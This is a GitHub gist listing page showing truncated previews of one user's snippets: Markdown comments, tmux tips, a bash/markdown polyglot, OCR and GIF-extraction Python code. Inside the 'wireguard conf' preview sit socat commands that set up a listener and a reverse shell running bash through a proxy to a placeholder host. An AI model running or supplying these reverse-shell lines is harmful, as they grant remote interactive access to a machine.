Skip to content

Instantly share code, notes, and snippets.

@boweiliu
boweiliu / markdown-comments.md
Created January 27, 2023 20:17 — forked from jonikarppinen/markdown-comments.md
How to comment out stuff in Markdown on GitHub?

Comments in GitHub flavour of Markdown

As answers to this Stack Overflow question reveal, using <!--- and ---> or <!-- and --> works (view source by clicking "Raw"):

@boweiliu
boweiliu / tmux.txt
Last active September 26, 2022 04:29
tmux tips
see also: https://gist.github.com/andreyvit/2921703
https://bezhermoso.github.io/til/move-a-tmux-pane-from-one-window-to-another/
ctrl-b ! ; ctrl-b :join-pane -t 2.0
https://unix.stackexchange.com/questions/268386/how-to-change-default-new-window-directory-from-within-the-tmux
ctrl-b :attach -c /path
@boweiliu
boweiliu / wg0
Last active April 6, 2020 01:14
wireguard conf
### sources :
### https://jonathanhamberg.com/post/2018-10-17-wireguard-behind-nat/
### https://github.com/pirate/wireguard-docs#NAT-to-NAT-Connections
### https://github.com/pirate/wireguard-docs#Config-Creation
### https://github.com/pirate/wireguard-docs
### https://try.popho.be/wg.html
### https://wiki.archlinux.org/index.php/WireGuard#Persistent_configuration
### https://www.wireguard.com/quickstart/
## wg0.conf on laptop
# Listener on x.x.x.x:443:
socat file:`tty`,raw,echo=0 tcp-listen:443
# Reverse shell proxy server is at 10.10.10.1:8222:
socat UNIX-LISTEN:/tmp/x,reuseaddr,fork PROXY:10.10.10.1:x.x.x.x:443,proxyport=8222 &
socat exec:'bash -li',pty,stderr,setsid,sigint,sane unix:"/tmp/x"
@boweiliu
boweiliu / README.md
Created April 10, 2018 00:21
Polyglot readme/bash script.

Polyglot readme/bash script. See the raw text of this file for details.

( : ' This text is a comment in both markdown and bash. Note that we cant use # here because markdown tries to display it as a header - unless it starts with #!, shebang. Instead we can use the bash no-op command ":" which is an alias for the bash command "true" -- see "man true". truejust returns true and ignores the arguments so we can pass whatever we like. How this comment block works: in bash, [ ] wraps atestcommand -- seeman test`.

a
from PIL import Image
from cStringIO import StringIO
import requests
import pyocr
tools = pyocr.get_available_tools()
tool = tools[0]
print(tool.get_available_languages())
url = 'http://i.imgur.com/1WpmXbo.jpg'
@boweiliu
boweiliu / gifextract.py
Created September 27, 2016 04:08 — forked from BigglesZX/gifextract.py
Extract frames from an animated GIF, correctly handling palettes and frame update modes
import os
from PIL import Image
'''
I searched high and low for solutions to the "extract animated GIF frames in Python"
problem, and after much trial and error came up with the following solution based
on several partial examples around the web (mostly Stack Overflow).
There are two pitfalls that aren't often mentioned when dealing with animated GIFs -
@boweiliu
boweiliu / tmux.md
Created September 22, 2016 23:34 — forked from andreyvit/tmux.md
tmux cheatsheet

tmux cheat sheet

(C-x means ctrl+x, M-x means alt+x)

Prefix key

The default prefix is C-b. If you (or your muscle memory) prefer C-a, you need to add this to ~/.tmux.conf:

remap prefix to Control + a

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name: